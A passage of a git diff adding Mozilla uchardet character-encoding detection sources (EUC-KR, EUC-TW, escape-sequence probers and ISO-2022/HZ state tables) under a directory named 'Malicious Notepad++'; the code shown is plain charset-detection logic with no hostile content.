mCodingSM->Reset(); + mState = eDetecting; + mDistributionAnalyser.Reset(mIsPreferredLanguage); + //mContextAnalyser.Reset(); +} + +nsProbingState nsEUCKRProber::HandleData(const char* aBuf, PRUint32 aLen) +{ + nsSMState codingState; + + for (PRUint32 i = 0; i < aLen; i++) + { + codingState = mCodingSM->NextState(aBuf[i]); + if (codingState == eItsMe) + { + mState = eFoundIt; + break; + } + if (codingState == eStart) + { + PRUint32 charLen = mCodingSM->GetCurrentCharLen(); + + if (i == 0) + { + mLastChar[1] = aBuf[0]; + mDistributionAnalyser.HandleOneChar(mLastChar, charLen); + } + else + mDistributionAnalyser.HandleOneChar(aBuf+i-1, charLen); + } + } + + mLastChar[0] = aBuf[aLen-1]; + + if (mState == eDetecting) + if (mDistributionAnalyser.GotEnoughData() && GetConfidence() > SHORTCUT_THRESHOLD) + mState = eFoundIt; +// else +// mDistributionAnalyser.HandleData(aBuf, aLen); + + return mState; +} + +float nsEUCKRProber::GetConfidence(void) +{ + float distribCf = mDistributionAnalyser.GetConfidence(); + + return (float)distribCf; +} + diff --git a/Malicious Notepad++/src/uchardet/nsEUCKRProber.h b/Malicious Notepad++/src/uchardet/nsEUCKRProber.h new file mode 100644 index 0000000..8e09984 --- /dev/null +++ b/Malicious Notepad++/src/uchardet/nsEUCKRProber.h @@ -0,0 +1,75 @@ +/* -*- Mode: C; tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ +/* ***** BEGIN LICENSE BLOCK ***** + * Version: MPL 1.1/GPL 2.0/LGPL 2.1 + * + * The contents of this file are subject to the Mozilla Public License Version + * 1.1 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + * http://www.mozilla.org/MPL/ + * + * Software distributed under the License is distributed on an "AS IS" basis, + * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License + * for the specific language governing rights and limitations under the + * License. + * + * The Original Code is mozilla.org code. + * + * The Initial Developer of the Original Code is + * Netscape Communications Corporation. + * Portions created by the Initial Developer are Copyright (C) 1998 + * the Initial Developer. All Rights Reserved. + * + * Contributor(s): + * + * Alternatively, the contents of this file may be used under the terms of + * either the GNU General Public License Version 2 or later (the "GPL"), or + * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"), + * in which case the provisions of the GPL or the LGPL are applicable instead + * of those above. If you wish to allow use of your version of this file only + * under the terms of either the GPL or the LGPL, and not to allow others to + * use your version of this file under the terms of the MPL, indicate your + * decision by deleting the provisions above and replace them with the notice + * and other provisions required by the GPL or the LGPL. If you do not delete + * the provisions above, a recipient may use your version of this file under + * the terms of any one of the MPL, the GPL or the LGPL. + * + * ***** END LICENSE BLOCK ***** */ + +#ifndef nsEUCKRProber_h__ +#define nsEUCKRProber_h__ + +#include "nsCharSetProber.h" +#include "nsCodingStateMachine.h" +#include "CharDistribution.h" + +class nsEUCKRProber: public nsCharSetProber { +public: + nsEUCKRProber(PRBool aIsPreferredLanguage) + :mIsPreferredLanguage(aIsPreferredLanguage) + {mCodingSM = new nsCodingStateMachine(&EUCKRSMModel); + Reset(); + } + virtual ~nsEUCKRProber(void){delete mCodingSM;} + nsProbingState HandleData(const char* aBuf, PRUint32 aLen); + const char* GetCharSetName() {return "EUC-KR";} + nsProbingState GetState(void) {return mState;} + void Reset(void); + float GetConfidence(void); + void SetOpion() {} + +protected: + void GetDistribution(PRUint32 aCharLen, const char* aStr); + + nsCodingStateMachine* mCodingSM; + nsProbingState mState; + + //EUCKRContextAnalysis mContextAnalyser; + EUCKRDistributionAnalysis mDistributionAnalyser; + char mLastChar[2]; + PRBool mIsPreferredLanguage; + +}; + + +#endif /* nsEUCKRProber_h__ */ + diff --git a/Malicious Notepad++/src/uchardet/nsEUCTWProber.cpp b/Malicious Notepad++/src/uchardet/nsEUCTWProber.cpp new file mode 100644 index 0000000..a06e074 --- /dev/null +++ b/Malicious Notepad++/src/uchardet/nsEUCTWProber.cpp @@ -0,0 +1,91 @@ +/* -*- Mode: C; tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ +/* ***** BEGIN LICENSE BLOCK ***** + * Version: MPL 1.1/GPL 2.0/LGPL 2.1 + * + * The contents of this file are subject to the Mozilla Public License Version + * 1.1 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + * http://www.mozilla.org/MPL/ + * + * Software distributed under the License is distributed on an "AS IS" basis, + * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License + * for the specific language governing rights and limitations under the + * License. + * + * The Original Code is mozilla.org code. + * + * The Initial Developer of the Original Code is + * Netscape Communications Corporation. + * Portions created by the Initial Developer are Copyright (C) 1998 + * the Initial Developer. All Rights Reserved. + * + * Contributor(s): + * + * Alternatively, the contents of this file may be used under the terms of + * either the GNU General Public License Version 2 or later (the "GPL"), or + * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"), + * in which case the provisions of the GPL or the LGPL are applicable instead + * of those above. If you wish to allow use of your version of this file only + * under the terms of either the GPL or the LGPL, and not to allow others to + * use your version of this file under the terms of the MPL, indicate your + * decision by deleting the provisions above and replace them with the notice + * and other provisions required by the GPL or the LGPL. If you do not delete + * the provisions above, a recipient may use your version of this file under + * the terms of any one of the MPL, the GPL or the LGPL. + * + * ***** END LICENSE BLOCK ***** */ + +#include "nsEUCTWProber.h" + +void nsEUCTWProber::Reset(void) +{ + mCodingSM->Reset(); + mState = eDetecting; + mDistributionAnalyser.Reset(mIsPreferredLanguage); + //mContextAnalyser.Reset(); +} + +nsProbingState nsEUCTWProber::HandleData(const char* aBuf, PRUint32 aLen) +{ + nsSMState codingState; + + for (PRUint32 i = 0; i < aLen; i++) + { + codingState = mCodingSM->NextState(aBuf[i]); + if (codingState == eItsMe) + { + mState = eFoundIt; + break; + } + if (codingState == eStart) + { + PRUint32 charLen = mCodingSM->GetCurrentCharLen(); + + if (i == 0) + { + mLastChar[1] = aBuf[0]; + mDistributionAnalyser.HandleOneChar(mLastChar, charLen); + } + else + mDistributionAnalyser.HandleOneChar(aBuf+i-1, charLen); + } + } + + mLastChar[0] = aBuf[aLen-1]; + + if (mState == eDetecting) + if (mDistributionAnalyser.GotEnoughData() && GetConfidence() > SHORTCUT_THRESHOLD) + mState = eFoundIt; +// else +// mDistributionAnalyser.HandleData(aBuf, aLen); + + return mState; +} + +float nsEUCTWProber::GetConfidence(void) +{ + float distribCf = mDistributionAnalyser.GetConfidence(); + + return (float)distribCf; +} + diff --git a/Malicious Notepad++/src/uchardet/nsEUCTWProber.h b/Malicious Notepad++/src/uchardet/nsEUCTWProber.h new file mode 100644 index 0000000..911d50b --- /dev/null +++ b/Malicious Notepad++/src/uchardet/nsEUCTWProber.h @@ -0,0 +1,74 @@ +/* -*- Mode: C; tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ +/* ***** BEGIN LICENSE BLOCK ***** + * Version: MPL 1.1/GPL 2.0/LGPL 2.1 + * + * The contents of this file are subject to the Mozilla Public License Version + * 1.1 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + * http://www.mozilla.org/MPL/ + * + * Software distributed under the License is distributed on an "AS IS" basis, + * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License + * for the specific language governing rights and limitations under the + * License. + * + * The Original Code is mozilla.org code. + * + * The Initial Developer of the Original Code is + * Netscape Communications Corporation. + * Portions created by the Initial Developer are Copyright (C) 1998 + * the Initial Developer. All Rights Reserved. + * + * Contributor(s): + * + * Alternatively, the contents of this file may be used under the terms of + * either the GNU General Public License Version 2 or later (the "GPL"), or + * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"), + * in which case the provisions of the GPL or the LGPL are applicable instead + * of those above. If you wish to allow use of your version of this file only + * under the terms of either the GPL or the LGPL, and not to allow others to + * use your version of this file under the terms of the MPL, indicate your + * decision by deleting the provisions above and replace them with the notice + * and other provisions required by the GPL or the LGPL. If you do not delete + * the provisions above, a recipient may use your version of this file under + * the terms of any one of the MPL, the GPL or the LGPL. + * + * ***** END LICENSE BLOCK ***** */ + +#ifndef nsEUCTWProber_h__ +#define nsEUCTWProber_h__ + +#include "nsCharSetProber.h" +#include "nsCodingStateMachine.h" +#include "CharDistribution.h" + +class nsEUCTWProber: public nsCharSetProber { +public: + nsEUCTWProber(PRBool aIsPreferredLanguage) + :mIsPreferredLanguage(aIsPreferredLanguage) + {mCodingSM = new nsCodingStateMachine(&EUCTWSMModel); + Reset();} + virtual ~nsEUCTWProber(void){delete mCodingSM;} + nsProbingState HandleData(const char* aBuf, PRUint32 aLen); + const char* GetCharSetName() {return "x-euc-tw";} + nsProbingState GetState(void) {return mState;} + void Reset(void); + float GetConfidence(void); + void SetOpion() {} + +protected: + void GetDistribution(PRUint32 aCharLen, const char* aStr); + + nsCodingStateMachine* mCodingSM; + nsProbingState mState; + + //EUCTWContextAnalysis mContextAnalyser; + EUCTWDistributionAnalysis mDistributionAnalyser; + char mLastChar[2]; + PRBool mIsPreferredLanguage; + +}; + + +#endif /* nsEUCTWProber_h__ */ + diff --git a/Malicious Notepad++/src/uchardet/nsEscCharsetProber.cpp b/Malicious Notepad++/src/uchardet/nsEscCharsetProber.cpp new file mode 100644 index 0000000..128f0a2 --- /dev/null +++ b/Malicious Notepad++/src/uchardet/nsEscCharsetProber.cpp @@ -0,0 +1,97 @@ +/* -*- Mode: C; tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ +/* ***** BEGIN LICENSE BLOCK ***** + * Version: MPL 1.1/GPL 2.0/LGPL 2.1 + * + * The contents of this file are subject to the Mozilla Public License Version + * 1.1 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + * http://www.mozilla.org/MPL/ + * + * Software distributed under the License is distributed on an "AS IS" basis, + * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License + * for the specific language governing rights and limitations under the + * License. + * + * The Original Code is mozilla.org code. + * + * The Initial Developer of the Original Code is + * Netscape Communications Corporation. + * Portions created by the Initial Developer are Copyright (C) 1998 + * the Initial Developer. All Rights Reserved. + * + * Contributor(s): + * + * Alternatively, the contents of this file may be used under the terms of + * either the GNU General Public License Version 2 or later (the "GPL"), or + * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"), + * in which case the provisions of the GPL or the LGPL are applicable instead + * of those above. If you wish to allow use of your version of this file only + * under the terms of either the GPL or the LGPL, and not to allow others to + * use your version of this file under the terms of the MPL, indicate your + * decision by deleting the provisions above and replace them with the notice + * and other provisions required by the GPL or the LGPL. If you do not delete + * the provisions above, a recipient may use your version of this file under + * the terms of any one of the MPL, the GPL or the LGPL. + * + * ***** END LICENSE BLOCK ***** */ + + +#include "nsEscCharsetProber.h" +#include "nsUniversalDetector.h" + +nsEscCharSetProber::nsEscCharSetProber(PRUint32 aLanguageFilter) +{ + for (PRUint32 i = 0; i < NUM_OF_ESC_CHARSETS; i++) + mCodingSM[i] = nsnull; + if (aLanguageFilter & NS_FILTER_CHINESE_SIMPLIFIED) + { + mCodingSM[0] = new nsCodingStateMachine(&HZSMModel); + mCodingSM[1] = new nsCodingStateMachine(&ISO2022CNSMModel); + } + if (aLanguageFilter & NS_FILTER_JAPANESE) + mCodingSM[2] = new nsCodingStateMachine(&ISO2022JPSMModel); + if (aLanguageFilter & NS_FILTER_KOREAN) + mCodingSM[3] = new nsCodingStateMachine(&ISO2022KRSMModel); + mActiveSM = NUM_OF_ESC_CHARSETS; + mState = eDetecting; + mDetectedCharset = nsnull; +} + +nsEscCharSetProber::~nsEscCharSetProber(void) +{ + for (PRUint32 i = 0; i < NUM_OF_ESC_CHARSETS; i++) + delete mCodingSM[i]; +} + +void nsEscCharSetProber::Reset(void) +{ + mState = eDetecting; + for (PRUint32 i = 0; i < NUM_OF_ESC_CHARSETS; i++) + if (mCodingSM[i]) + mCodingSM[i]->Reset(); + mActiveSM = NUM_OF_ESC_CHARSETS; + mDetectedCharset = nsnull; +} + +nsProbingState nsEscCharSetProber::HandleData(const char* aBuf, PRUint32 aLen) +{ + for (PRUint32 i = 0; i < aLen && mState == eDetecting; i++) + { + for (PRInt32 j = mActiveSM-1; j>= 0; j--) + { + if (mCodingSM[j]) + { + nsSMState codingState = mCodingSM[j]->NextState(aBuf[i]); + if (codingState == eItsMe) + { + mState = eFoundIt; + mDetectedCharset = mCodingSM[j]->GetCodingStateMachine(); + return mState; + } + } + } + } + + return mState; +} + diff --git a/Malicious Notepad++/src/uchardet/nsEscCharsetProber.h b/Malicious Notepad++/src/uchardet/nsEscCharsetProber.h new file mode 100644 index 0000000..4b648e0 --- /dev/null +++ b/Malicious Notepad++/src/uchardet/nsEscCharsetProber.h @@ -0,0 +1,67 @@ +/* -*- Mode: C; tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ +/* ***** BEGIN LICENSE BLOCK ***** + * Version: MPL 1.1/GPL 2.0/LGPL 2.1 + * + * The contents of this file are subject to the Mozilla Public License Version + * 1.1 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + * http://www.mozilla.org/MPL/ + * + * Software distributed under the License is distributed on an "AS IS" basis, + * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License + * for the specific language governing rights and limitations under the + * License. + * + * The Original Code is mozilla.org code. + * + * The Initial Developer of the Original Code is + * Netscape Communications Corporation. + * Portions created by the Initial Developer are Copyright (C) 1998 + * the Initial Developer. All Rights Reserved. + * + * Contributor(s): + * + * Alternatively, the contents of this file may be used under the terms of + * either the GNU General Public License Version 2 or later (the "GPL"), or + * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"), + * in which case the provisions of the GPL or the LGPL are applicable instead + * of those above. If you wish to allow use of your version of this file only + * under the terms of either the GPL or the LGPL, and not to allow others to + * use your version of this file under the terms of the MPL, indicate your + * decision by deleting the provisions above and replace them with the notice + * and other provisions required by the GPL or the LGPL. If you do not delete + * the provisions above, a recipient may use your version of this file under + * the terms of any one of the MPL, the GPL or the LGPL. + * + * ***** END LICENSE BLOCK ***** */ + +#ifndef nsEscCharSetProber_h__ +#define nsEscCharSetProber_h__ + +#include "nsCharSetProber.h" +#include "nsCodingStateMachine.h" + +#define NUM_OF_ESC_CHARSETS 4 + +class nsEscCharSetProber: public nsCharSetProber { +public: + nsEscCharSetProber(PRUint32 aLanguageFilter); + virtual ~nsEscCharSetProber(void); + nsProbingState HandleData(const char* aBuf, PRUint32 aLen); + const char* GetCharSetName() {return mDetectedCharset;} + nsProbingState GetState(void) {return mState;} + void Reset(void); + float GetConfidence(void){return (float)0.99;} + void SetOpion() {} + +protected: + void GetDistribution(PRUint32 aCharLen, const char* aStr); + + nsCodingStateMachine* mCodingSM[NUM_OF_ESC_CHARSETS] ; + PRUint32 mActiveSM; + nsProbingState mState; + const char * mDetectedCharset; +}; + +#endif /* nsEscCharSetProber_h__ */ + diff --git a/Malicious Notepad++/src/uchardet/nsEscSM.cpp b/Malicious Notepad++/src/uchardet/nsEscSM.cpp new file mode 100644 index 0000000..7b1de39 --- /dev/null +++ b/Malicious Notepad++/src/uchardet/nsEscSM.cpp @@ -0,0 +1,260 @@ +/* -*- Mode: C; tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ +/* ***** BEGIN LICENSE BLOCK ***** + * Version: MPL 1.1/GPL 2.0/LGPL 2.1 + * + * The contents of this file are subject to the Mozilla Public License Version + * 1.1 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + * http://www.mozilla.org/MPL/ + * + * Software distributed under the License is distributed on an "AS IS" basis, + * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License + * for the specific language governing rights and limitations under the + * License. + * + * The Original Code is mozilla.org code. + * + * The Initial Developer of the Original Code is + * Netscape Communications Corporation. + * Portions created by the Initial Developer are Copyright (C) 1998 + * the Initial Developer. All Rights Reserved. + * + * Contributor(s): + * + * Alternatively, the contents of this file may be used under the terms of + * either the GNU General Public License Version 2 or later (the "GPL"), or + * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"), + * in which case the provisions of the GPL or the LGPL are applicable instead + * of those above. If you wish to allow use of your version of this file only + * under the terms of either the GPL or the LGPL, and not to allow others to + * use your version of this file under the terms of the MPL, indicate your + * decision by deleting the provisions above and replace them with the notice + * and other provisions required by the GPL or the LGPL. If you do not delete + * the provisions above, a recipient may use your version of this file under + * the terms of any one of the MPL, the GPL or the LGPL. + * + * ***** END LICENSE BLOCK ***** */ + +#include "nsCodingStateMachine.h" + +static const PRUint32 HZ_cls[ 256 / 8 ] = { +PCK4BITS(1,0,0,0,0,0,0,0), // 00 - 07 +PCK4BITS(0,0,0,0,0,0,0,0), // 08 - 0f +PCK4BITS(0,0,0,0,0,0,0,0), // 10 - 17 +PCK4BITS(0,0,0,1,0,0,0,0), // 18 - 1f +PCK4BITS(0,0,0,0,0,0,0,0), // 20 - 27 +PCK4BITS(0,0,0,0,0,0,0,0), // 28 - 2f +PCK4BITS(0,0,0,0,0,0,0,0), // 30 - 37 +PCK4BITS(0,0,0,0,0,0,0,0), // 38 - 3f +PCK4BITS(0,0,0,0,0,0,0,0), // 40 - 47 +PCK4BITS(0,0,0,0,0,0,0,0), // 48 - 4f +PCK4BITS(0,0,0,0,0,0,0,0), // 50 - 57 +PCK4BITS(0,0,0,0,0,0,0,0), // 58 - 5f +PCK4BITS(0,0,0,0,0,0,0,0), // 60 - 67 +PCK4BITS(0,0,0,0,0,0,0,0), // 68 - 6f +PCK4BITS(0,0,0,0,0,0,0,0), // 70 - 77 +PCK4BITS(0,0,0,4,0,5,2,0), // 78 - 7f +PCK4BITS(1,1,1,1,1,1,1,1), // 80 - 87 +PCK4BITS(1,1,1,1,1,1,1,1), // 88 - 8f +PCK4BITS(1,1,1,1,1,1,1,1), // 90 - 97 +PCK4BITS(1,1,1,1,1,1,1,1), // 98 - 9f +PCK4BITS(1,1,1,1,1,1,1,1), // a0 - a7 +PCK4BITS(1,1,1,1,1,1,1,1), // a8 - af +PCK4BITS(1,1,1,1,1,1,1,1), // b0 - b7 +PCK4BITS(1,1,1,1,1,1,1,1), // b8 - bf +PCK4BITS(1,1,1,1,1,1,1,1), // c0 - c7 +PCK4BITS(1,1,1,1,1,1,1,1), // c8 - cf +PCK4BITS(1,1,1,1,1,1,1,1), // d0 - d7 +PCK4BITS(1,1,1,1,1,1,1,1), // d8 - df +PCK4BITS(1,1,1,1,1,1,1,1), // e0 - e7 +PCK4BITS(1,1,1,1,1,1,1,1), // e8 - ef +PCK4BITS(1,1,1,1,1,1,1,1), // f0 - f7 +PCK4BITS(1,1,1,1,1,1,1,1) // f8 - ff +}; + + +static const PRUint32 HZ_st [ 6] = { +PCK4BITS(eStart,eError, 3,eStart,eStart,eStart,eError,eError),//00-07 +PCK4BITS(eError,eError,eError,eError,eItsMe,eItsMe,eItsMe,eItsMe),//08-0f +PCK4BITS(eItsMe,eItsMe,eError,eError,eStart,eStart, 4,eError),//10-17 +PCK4BITS( 5,eError, 6,eError, 5, 5, 4,eError),//18-1f +PCK4BITS( 4,eError, 4, 4, 4,eError, 4,eError),//20-27 +PCK4BITS( 4,eItsMe,eStart,eStart,eStart,eStart,eStart,eStart) //28-2f +}; + +static const PRUint32 HZCharLenTable[] = {0, 0, 0, 0, 0, 0}; + +const SMModel HZSMModel( + nsPkgInt(eIdxSft4bits, eSftMsk4bits, eBitSft4bits, eUnitMsk4bits, HZ_cls), + 6, + nsPkgInt(eIdxSft4bits, eSftMsk4bits, eBitSft4bits, eUnitMsk4bits, HZ_st), + HZCharLenTable, + "HZ-GB-2312"); + + +static const PRUint32 ISO2022CN_cls [ 256 / 8 ] = { +PCK4BITS(2,0,0,0,0,0,0,0), // 00 - 07 +PCK4BITS(0,0,0,0,0,0,0,0), // 08 - 0f +PCK4BITS(0,0,0,0,0,0,0,0), // 10 - 17 +PCK4BITS(0,0,0,1,0,0,0,0), // 18 - 1f +PCK4BITS(0,0,0,0,0,0,0,0), // 20 - 27 +PCK4BITS(0,3,0,0,0,0,0,0), // 28 - 2f +PCK4BITS(0,0,0,0,0,0,0,0), // 30 - 37 +PCK4BITS(0,0,0,0,0,0,0,0), // 38 - 3f +PCK4BITS(0,0,0,4,0,0,0,0), // 40 - 47 +PCK4BITS(0,0,0,0,0,0,0,0), // 48 - 4f +PCK4BITS(0,0,0,0,0,0,0,0), // 50 - 57 +PCK4BITS(0,0,0,0,0,0,0,0), // 58 - 5f +PCK4BITS(0,0,0,0,0,0,0,0), // 60 - 67 +PCK4BITS(0,0,0,0,0,0,0,0), // 68 - 6f +PCK4BITS(0,0,0,0,0,0,0,0), // 70 - 77 +PCK4BITS(0,0,0,0,0,0,0,0), // 78 - 7f +PCK4BITS(2,2,2,2,2,2,2,2), // 80 - 87 +PCK4BITS(2,2,2,2,2,2,2,2), // 88 - 8f +PCK4BITS(2,2,2,2,2,2,2,2), // 90 - 97 +PCK4BITS(2,2,2,2,2,2,2,2), // 98 - 9f +PCK4BITS(2,2,2,2,2,2,2,2), // a0 - a7 +PCK4BITS(2,2,2,2,2,2,2,2), // a8 - af +PCK4BITS(2,2,2,2,2,2,2,2), // b0 - b7 +PCK4BITS(2,2,2,2,2,2,2,2), // b8 - bf +PCK4BITS(2,2,2,2,2,2,2,2), // c0 - c7 +PCK4BITS(2,2,2,2,2,2,2,2), // c8 - cf +PCK4BITS(2,2,2,2,2,2,2,2), // d0 - d7 +PCK4BITS(2,2,2,2,2,2,2,2), // d8 - df +PCK4BITS(2,2,2,2,2,2,2,2), // e0 - e7 +PCK4BITS(2,2,2,2,2,2,2,2), // e8 - ef +PCK4BITS(2,2,2,2,2,2,2,2), // f0 - f7 +PCK4BITS(2,2,2,2,2,2,2,2) // f8 - ff +}; + + +static const PRUint32 ISO2022CN_st [ 8] = { +PCK4BITS(eStart, 3,eError,eStart,eStart,eStart,eStart,eStart),//00-07 +PCK4BITS(eStart,eError,eError,eError,eError,eError,eError,eError),//08-0f +PCK4BITS(eError,eError,eItsMe,eItsMe,eItsMe,eItsMe,eItsMe,eItsMe),//10-17 +PCK4BITS(eItsMe,eItsMe,eItsMe,eError,eError,eError, 4,eError),//18-1f +PCK4BITS(eError,eError,eError,eItsMe,eError,eError,eError,eError),//20-27 +PCK4BITS( 5, 6,eError,eError,eError,eError,eError,eError),//28-2f +PCK4BITS(eError,eError,eError,eItsMe,eError,eError,eError,eError),//30-37 +PCK4BITS(eError,eError,eError,eError,eError,eItsMe,eError,eStart) //38-3f +}; + +static const PRUint32 ISO2022CNCharLenTable[] = {0, 0, 0, 0, 0, 0, 0, 0, 0}; + +const SMModel ISO2022CNSMModel( + nsPkgInt(eIdxSft4bits, eSftMsk4bits, eBitSft4bits, eUnitMsk4bits, ISO2022CN_cls), + 9, + nsPkgInt(eIdxSft4bits, eSftMsk4bits, eBitSft4bits, eUnitMsk4bits, ISO2022CN_st), + ISO2022CNCharLenTable, + "ISO-2022-CN"); + +static const PRUint32 ISO2022JP_cls [ 256 / 8 ] = { +PCK4BITS(2,0,0,0,0,0,0,0), // 00 - 07 +PCK4BITS(0,0,0,0,0,0,2,2), // 08 - 0f +PCK4BITS(0,0,0,0,0,0,0,0), // 10 - 17 +PCK4BITS(0,0,0,1,0,0,0,0), // 18 - 1f +PCK4BITS(0,0,0,0,7,0,0,0), // 20 - 27 +PCK4BITS(3,0,0,0,0,0,0,0), // 28 - 2f +PCK4BITS(0,0,0,0,0,0,0,0), // 30 - 37 +PCK4BITS(0,0,0,0,0,0,0,0), // 38 - 3f +PCK4BITS(6,0,4,0,8,0,0,0), // 40 - 47 +PCK4BITS(0,9,5,0,0,0,0,0), // 48 - 4f +PCK4BITS(0,0,0,0,0,0,0,0), // 50 - 57 +PCK4BITS(0,0,0,0,0,0,0,0), // 58 - 5f +PCK4BITS(0,0,0,0,0,0,0,0), // 60 - 67 +PCK4BITS(0,0,0,0,0,0,0,0), // 68 - 6f +PCK4BITS(0,0,0,0,0,0,0,0), // 70 - 77 +PCK4BITS(0,0,0,0,0,0,0,0), // 78 - 7f +PCK4BITS(2,2,2,2,2,2,2,2), // 80 - 87 +PCK4BITS(2,2,2,2,2,2,2,2), // 88 - 8f +PCK4BITS(2,2,2,2,2,2,2,2), // 90 - 97 +PCK4BITS(2,2,2,2,2,2,2,2), // 98 - 9f +PCK4BITS(2,2,2,2,2,2,2,2), // a0 - a7 +PCK4BITS(2,2,2,2,2,2,2,2), // a8 - af +PCK4BITS(2,2,2,2,2,2,2,2), // b0 - b7 +PCK4BITS(2,2,2,2,2,2,2,2), // b8 - bf +PCK4BITS(2,2,2,2,2,2,2,2), // c0 - c7 +PCK4BITS(2,2,2,2,2,2,2,2), // c8 - cf +PCK4BITS(2,2,2,2,2,2,2,2), // d0 - d7 +PCK4BITS(2,2,2,2,2,2,2,2), // d8 - df +PCK4BITS(2,2,2,2,2,2,2,2), // e0 - e7 +PCK4BITS(2,2,2,2,2,2,2,2), // e8 - ef +PCK4BITS(2,2,2,2,2,2,2,2), // f0 - f7 +PCK4BITS(2,2,2,2,2,2,2,2) // f8 - ff +}; + + +static const PRUint32 ISO2022JP_st [ 9] = { +PCK4BITS(eStart, 3,eError,eStart,eStart,eStart,eStart,eStart),//00-07 +PCK4BITS(eStart,eStart,eError,eError,eError,eError,eError,eError),//08-0f +PCK4BITS(eError,eError,eError,eError,eItsMe,eItsMe,eItsMe,eItsMe),//10-17 +PCK4BITS(eItsMe,eItsMe,eItsMe,eItsMe,eItsMe,eItsMe,eError,eError),//18-1f +PCK4BITS(eError, 5,eError,eError,eError, 4,eError,eError),//20-27 +PCK4BITS(eError,eError,eError, 6,eItsMe,eError,eItsMe,eError),//28-2f +PCK4BITS(eError,eError,eError,eError,eError,eError,eItsMe,eItsMe),//30-37 +PCK4BITS(eError,eError,eError,eItsMe,eError,eError,eError,eError),//38-3f +PCK4BITS(eError,eError,eError,eError,eItsMe,eError,eStart,eStart) //40-47 +}; + +static const PRUint32 ISO2022JPCharLenTable[] = {0, 0, 0, 0, 0, 0, 0, 0}; + +const SMModel ISO2022JPSMModel( + nsPkgInt(eIdxSft4bits, eSftMsk4bits, eBitSft4bits, eUnitMsk4bits, ISO2022JP_cls), + 10, + nsPkgInt(eIdxSft4bits, eSftMsk4bits, eBitSft4bits, eUnitMsk4bits, ISO2022JP_st), + ISO2022JPCharLenTable, + "ISO-2022-JP"); + +static const PRUint32 ISO2022KR_cls [ 256 / 8 ] = { +PCK4BITS(2,0,0,0,0,0,0,0), // 00 - 07 +PCK4BITS(0,0,0,0,0,0,0,0), // 08 - 0f +PCK4BITS(0,0,0,0,0,0,0,0), // 10 - 17 +PCK4BITS(0,0,0,1,0,0,0,0), // 18 - 1f +PCK4BITS(0,0,0,0,3,0,0,0), // 20 - 27 +PCK4BITS(0,4,0,0,0,0,0,0), // 28 - 2f +PCK4BITS(0,0,0,0,0,0,0,0), // 30 - 37 +PCK4BITS(0,0,0,0,0,0,0,0), // 38 - 3f +PCK4BITS(0,0,0,5,0,0,0,0), // 40 - 47 +PCK4BITS(0,0,0,0,0,0,0,0), // 48 - 4f +PCK4BITS(0,0,0,0,0,0,0,0), // 50 - 57 +PCK4BITS(0,0,0,0,0,0,0,0), // 58 - 5f +PCK4BITS(0,0,0,0,0,0,0,0), // 60 - 67 +PCK4BITS(0,0,0,0,0,0,0,0), // 68 - 6f +PCK4BITS(0,0,0,0,0,0,0,0), // 70 - 77 +PCK4BITS(0,0,0,0,0,0,0,0), // 78 - 7f +PCK4BITS(2,2,2,2,2,2,2,2), // 80 - 87 +PCK4BITS(2,2,2,2,2,2,2,2), // 88 - 8f +PCK4BITS(2,2,2,2,2,2,2,2), // 90 - 97 +PCK4BITS(2,2,2,2,2,2,2,2), // 98 - 9f +PCK4BITS(2,2,2,2,2,2,2,2), // a0 - a7 +PCK4BITS(2,2,2,2,2,2,2,2), // a8 - af +PCK4BITS(2,2,2,2,2,2,2,2), // b0 - b7 +PCK4BITS(2,2,2,2,2,2,2,2), // b8 - bf +PCK4BITS(2,2,2,2,2,2,2,2), // c0 - c7 +PCK4BITS(2,2,2,2,2,2,2,2), // c8 - cf +PCK4BITS(2,2,2,2,2,2,2,2), // d0 - d7 +PCK4BITS(2,2,2,2,2,2,2,2), // d8 - df +PCK4BITS(2,2,2,2,2,2,2,2), // e0 - e7 +PCK4BITS(2,2,2,2,2,2,2,2), // e8 - ef +PCK4BITS(2,2,2,2,2,2,2,2), // f0 - f7 +PCK4BITS(2,2,2,2,2,2,2,2) // f8 - ff +}; + + +static const PRUint32 ISO2022KR_st [ 5] = { +PCK4BITS(eStart, 3,eError,eStart,eStart,eStart,eError,eError),//00-07 +PCK4BITS(eError,eError,eError,eError,eItsMe,eItsMe,eItsMe,eItsMe),//08-0f +PCK4BITS(eItsMe,eItsMe,eError,eError,eError, 4,eError,eError),//10-17 +PCK4BITS(eError,eError,eError,eError, 5,eError,eError,eError),//18-1f +PCK4BITS(eError,eError,eError,eItsMe,eStart,eStart,eStart,eStart) //20-27 +}; + +static const PRUint32 ISO2022KRCharLenTable[] = {0, 0, 0, 0, 0, 0}; + +const SMModel ISO2022KRSMModel( + nsPkgInt(eIdxSft4bits, eSftMsk4bits, eBitSft4bits, eUnitMsk4bits, ISO2022KR_cls), + 6, + nsPkgInt(eIdxSft4bits, eSftMsk4bits, eBitSft4bits, eUnitMsk4bits, ISO2022KR_st), + ISO2022KRCharLenTable, + "ISO-2022-KR"); + diff --git a/Malicious Notepad++/src/uchardet/nsGB2312Prober.cpp b/Malicious Notepad++/src/uchardet/nsGB2312Prober.cpp new file mode 100644 index 0000000..b6d469c --- /dev/null +++ b/Malicious Notepad++/src/uchardet/nsGB2312Prober.cpp @@ -0,0 +1,96 @@ +/* -*- Mode: C; tab-width: 4; indent-tabs-mode: nil; 